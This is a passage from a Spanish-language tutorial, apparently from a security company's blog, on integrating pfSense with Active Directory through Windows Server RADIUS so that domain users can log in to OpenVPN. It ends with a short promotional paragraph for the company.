  3. Nos dirigimos a Administración del Servidor y agregamos un nuevo ROL.
  4. Buscamos y marcamos Servicios de acceso y directivas de redes y damos a siguiente.
  5. Dejamos marcada la opción Incluid herramientas de administración (si es aplicable) y damos agregar características y siguiente, hasta que nos pida opción de Instalar que le daremos a instalar y esperaremos que termine.
  6. Una vez instalado, nos vamos a Herramientas y abrimos la herramienta recién instalada.
  7. Desplegamos clientes y servidores RADIUS y damos botón derecho sobre Clientes RADIUS y damos a nuevo.
  8. Habilitamos este cliente, le ponemos de nombre PfSense, en la dirección IP ponemos la IP de nuestro PfSense y Marcamos en el secreto compartido, Manual, copiamos y guardamos la clave que nos genera, ya que la usaremos mas adelante, y damos a aplicar y aceptar.
  9. Desplegamos directivas y Botón derecho sobre Directivas de Red y nueva.
  10. Nombre le ponemos Permitir Grupos PfSense, y tipo de servidor lo dejamos en No Especificado y Damos siguiente.
  11. Damos Agregar y decimos grupos de usuarios y agregamos el grupo generado anteriormente PfSense, aceptar y siguiente.
  12. Acceso concedido y siguiente.
  13. Directamente damos a siguiente.
  14. Nuevamente a Siguiente.
  15. Nuevamente Siguiente y finalizar.

Configurar RADIUS en pfSense

Ahora nos vamos a trabajar a nuestro PfSense, para configurar un nuevo servidor de autenticación para posteriormente poderlo usar en el OpenVPN, para ello tenemos que hacer lo siguiente:

Nos vamos a:

  • System
  • User Manager
  • Authentication Servers

Ahora vamos a configurar la conexión y estando ya en Authentication Servers, damos + Add y tenemos que definir los siguientes valores:

  • Desciptive name: Definimos el nombre de la Conexión, en nuestro caso pfSense-RADIUS-empresa.local
  • Type: RADIUS
  • Protocol: MS-CHAPv2
  • Hostname or IP adress: La ip de nuestro controlador de dominio en el que hemos configurado RADIUS
  • Shared Secret: pegamos la clave del paso 8 de la preparación de Windows Server
  • Services Offered: Authentication and Accounting
  • Authentication Port: 1812
  • Accounting Port: 1813
  • Authentication Timeout: Lo dejamos en blanco
  • Damos a guardar

Con esto ya tendríamos configurada la conexión entre nuestro PfSense y el Directorio Activo

Comprobar el funcionamiento de integrar pfSense y Active Directory con RADIUS

Para comprobar el correcto funcionamiento de la integración, debemos de hacer lo siguiente:

  • Diagnostics
  • Authentication

Una vez que estemos, desplegamos Authentication Server y seleccionamos: pfSense-RADIUS-empresa.local, en el usuario ponemos [email protected] y la ContraseñaSegura que hemos creado, le damos a test y nos deberá de dar OK.

Añadir LDAP a OpenVPN en pfSense

Ahora que ya tenemos configurado RADIUS en nuestro firewall pfSense, vamos a agregarlo a nuestro servidor de OpenVPN, para ello, debemos de irnos a:

  • VPN
  • OpenVPN

Editamos el servidor que queremos configurar y en Backend for authentication debemos de seleccionar pfSense-RADIUS-empresa.local, le damos a guardar y ya tenemos la posibilidad de conectar con los usuarios del dominio, para ello, debemos de crear los certificados.

Crear certificados de los usuarios después de integrar pfSense y Active Directory

Una vez que tenemos ya todo configurado, toca generar los certificados de usuarios del directorio activo, para ello, debemos de irnos a:

  • System
  • Cert. Manager
  • Certificates

Una vez que estamos aquí, debemos de dar a +Add/Sign y seguimos los siguientes pasos, los que no comentamos, es porque deberéis de ponerlos según vuestra configuración ya existente de OpenVPN:

  • Method: Create an internal Certificate
  • Descriptive name: Nombre que queráis darle
  • Common Name: Aquí debemos de poner el nombre del usuario del directorio activo, en nuestro caso: pfsense.prueba
  • Certificate Type: User Certificate

Una vez terminado le damos a guardar y ya podemos iniciar sesión en OpenVPN con nuestro usuario del dominio y contraseña, exportáis la configuración en:

  • VPN
  • OpenVPN
  • Client Export

¿Por qué confiar en DCSeguridad?

En conclusión, la seguridad es un aspecto fundamental en cualquier ámbito de nuestra vida, ya sea en el hogar, en el trabajo o en la calle. En DCSeguridad, nos especializamos en brindar soluciones integrales para la protección de tu patrimonio y la seguridad de tu familia y empleados. Si deseas obtener más información sobre nuestros servicios, no dudes en ponerte en contacto con nosotros. Además, te invitamos a unirte a nuestro canal de Telegram, donde compartimos consejos y recomendaciones para fortalecer la seguridad de tu hogar o negocio. ¡Tu tranquilidad es nuestra prioridad!